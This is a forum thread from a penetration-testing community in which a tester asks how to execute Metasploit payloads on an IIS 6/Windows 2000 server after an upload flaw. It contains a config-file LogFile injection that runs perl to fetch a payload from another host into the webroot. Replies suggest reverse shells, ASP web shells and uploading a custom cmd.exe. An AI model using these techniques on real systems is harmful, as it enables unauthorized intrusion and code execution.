Image
 
linkedin_logo.png rss_logo.jpg
twitter_logo.png youtube_logo.jpg
Latest Additions
 
EH-Net Login
Welcome Guest.






Lost Password?
No account yet? Register
Who's Online
We have 42 guests and 1 member online
 
Free Business and Tech Magazines and eBooks

You are here: Home arrow Ethical Hacking Discussions and Related Certificationsarrow Network Pen Testingarrow Executing metasploit payload uploaded by IIS guest
EH-Net
May 21, 2013, 01:56:31 PM *
Welcome, Guest. Please login or register.
Did you miss your activation email?

Login with username, password and session length
News: Go back to The Ethical Hacker Network Online Magazine Home Page
 
   Home   Help Calendar Login Register  
Pages: [1]   Go Down
  Print  
Author Topic: Executing metasploit payload uploaded by IIS guest  (Read 2367 times)
0 Members and 1 Guest are viewing this topic.
Bluecifer
Newbie
*
Offline Offline

Posts: 3


View Profile
« on: December 04, 2012, 11:19:41 PM »

Hello all,

Fairly new pentester here, having issues executing a metasploit payload uploaded by the IIS guest account. All payloads seem to fail, or do not have adequate permissions to execute.

Background on target:
IIS 6 running on Win2kSP2 with ASP. The IIS guest account has read/write/execute. I can upload a file through a vulnerability I discovered, however I cannot execute. If for example I upload and ASP shell, I receive an error saying access denied on line etc (which is at the end of the payload). I have verified ASP scripts can run by uploading something simple like document.write("hello"). Maybe I can use a different payload?

Any ideas here or suggested reading you can point me to?
« Last Edit: December 04, 2012, 11:24:55 PM by Bluecifer » Logged
ajohnson
Recruiters
Hero Member
*
Online Online

Posts: 1057


aka dynamik


View Profile WWW
« Reply #1 on: December 04, 2012, 11:52:24 PM »

Are you uploading the exploit via webdav? Maybe some characters are getting removed or modified in transit. Are you performing any sort of encoding?

And yes, maybe try another payload, such as a bind or reverse shell. I assume you're trying Meterpreter?
Logged

WIP: GCFA | www.infosiege.net | @infosiege

The day you stop learning is the day you start becoming obsolete.
Bluecifer
Newbie
*
Offline Offline

Posts: 3


View Profile
« Reply #2 on: December 05, 2012, 12:14:52 AM »

Thank you for the reply. I am able to upload via writing a small perl script. The application fails to validate the location of the configuration file, and an attacker can specify an extra "\" and the server will read the config file via smb or webdav. The configuration file specifies the location of the logfile. For example:

Code:
LogFile= perl -e "use LWP::Simple; getstore('http://192.168.2.4/payload', 'C:\inetpub\wwwroot\payload');" |

Once uploaded though I cannot take advantage of exec() or system() with perl, (you can run logfile script multiple times) as the IIS account appears to not have the proper permissions to execute cmd.exe. When I tested in a lab environment, and changed permissions of cmd.exe to 'everyone', I was able to get a shell. This also appears to be the same problem with the metasploit payloads as well (cmd.exe).

I guess what I am asking is what do you do when pentesting an app running on IIS since it uses the guest account? Maybe I need some other creativity (look for other files containing passwords, etc). Any ideas? Just looking for other opinions or ideas.

Thanks!

« Last Edit: December 05, 2012, 12:18:43 AM by Bluecifer » Logged
ajohnson
Recruiters
Hero Member
*
Online Online

Posts: 1057


aka dynamik


View Profile WWW
« Reply #3 on: December 05, 2012, 01:22:15 AM »

I'm really not familiar with running Perl on IIS. I'd setup a test system locally in a VM and see what you can work out there. That's usually a better plan than trial-and-error on a remote system. That'll allow you to see the log files, event logs, etc. and determine where the problem lies.

However, the restricted guest account should be able to run commands, especially as far back as Win2k. There may be Perl configuration settings that prevent this, but that account can certainly get a shell; I've done so numerous times via ASP. You're not going to be able to perform privileged operations (i.e. adding users), but that's not going to prevent you from running general commands.

Here's an ASP example: http://carnal0wnage.attackresearch.com/2010/05/more-with-metasploit-and-webdav.html Some parts are different than the technique you're using, but maybe try creating an ASP file via msfpayload/msfencode/msfvenom or use something out of: http://laudanum.inguardians.com/
 
Logged

WIP: GCFA | www.infosiege.net | @infosiege

The day you stop learning is the day you start becoming obsolete.
Bluecifer
Newbie
*
Offline Offline

Posts: 3


View Profile
« Reply #4 on: December 05, 2012, 01:55:56 PM »

Thanks again for the reply. I hit the 'Googles' and was able to find an interesting article giving an example of uploading your own "cmd.exe" to overcome the issue I was having.  Rewrote the ASP script to point to my cmd.exe and was able to get "network service" level privileges.
Logged
Pages: [1]   Go Up
  Print  
 
Jump to:  

Powered by MySQL Powered by PHP Powered by SMF 1.1.18 | SMF © 2013, Simple Machines
Joomla Bridge by JoomlaHacks.com
Valid XHTML 1.0! Valid CSS!
Page created in 0.108 seconds with 23 queries.
 
Exclusive Deal

sansfire13_245x90_cw90.jpg
SANSFIRE 2013
June 15 - 22

5% Off w/ Code: EHN_5

SANS Deals 4 EH-Netters
5% OFF Any SANS Course in Any Format!
Coupon Code: EHN_5 Including SANS Rocky Mountain 2013 & SANS Boston 2013
Polls
Compared to this year, 2013 will be:
 
Recent Forum Topics
EH-Net News Feeds
Latest Additions
 
         
Free Business and Tech Magazines and eBooks

© 2013 The Ethical Hacker Network
Joomla! is Free Software released under the GNU/GPL License.